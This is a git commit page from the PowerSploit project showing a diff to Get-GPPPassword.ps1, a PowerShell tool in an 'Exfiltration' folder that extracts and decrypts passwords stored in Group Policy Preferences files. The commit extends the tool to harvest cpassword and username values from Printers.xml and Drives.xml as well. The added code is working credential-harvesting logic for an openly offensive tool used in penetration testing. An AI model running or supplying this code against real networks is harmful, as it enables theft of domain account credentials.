diff options
author | Chris Campbell <obscuresec@gmail.com> | 2014-03-05 00:32:40 -0500 |
---|---|---|
committer | Chris Campbell <obscuresec@gmail.com> | 2014-03-05 00:32:40 -0500 |
commit | 49c9f045338b5c7870c6a07dcc7acf814ab0ed78 (patch) | |
tree | 50fe43f5034c811eb241dc8304805245651e0380 /Exfiltration | |
parent | b450a70dbf0233f54d89ec763861882e492e0fc9 (diff) | |
download | PowerSploit-49c9f045338b5c7870c6a07dcc7acf814ab0ed78.tar.gz PowerSploit-49c9f045338b5c7870c6a07dcc7acf814ab0ed78.zip |
Update to version 2.4.0 from @jakxx
Removed unnecessary comment, merged update with printers.xml and drives.xml from @jackxx
Diffstat (limited to 'Exfiltration')
-rw-r--r-- | Exfiltration/Get-GPPPassword.ps1 | 17 |
1 files changed, 14 insertions, 3 deletions
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 454e276..7afaa2e 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -9,7 +9,7 @@ function Get-GPPPassword { License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 2.3.2 + Version: 2.4.0 .DESCRIPTION @@ -115,7 +115,6 @@ function Get-GPPPassword { try { - #$FileObject = Get-ChildItem $File $Filename = Split-Path $File -Leaf [xml] $Xml = Get-Content ($File) @@ -157,8 +156,20 @@ function Get-GPPPassword { $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } + + 'Printers.xml' { + $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Drives.xml' { + $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } } - } + } foreach ($Pass in $Cpassword) { Write-Verbose "Decrypting $Pass" |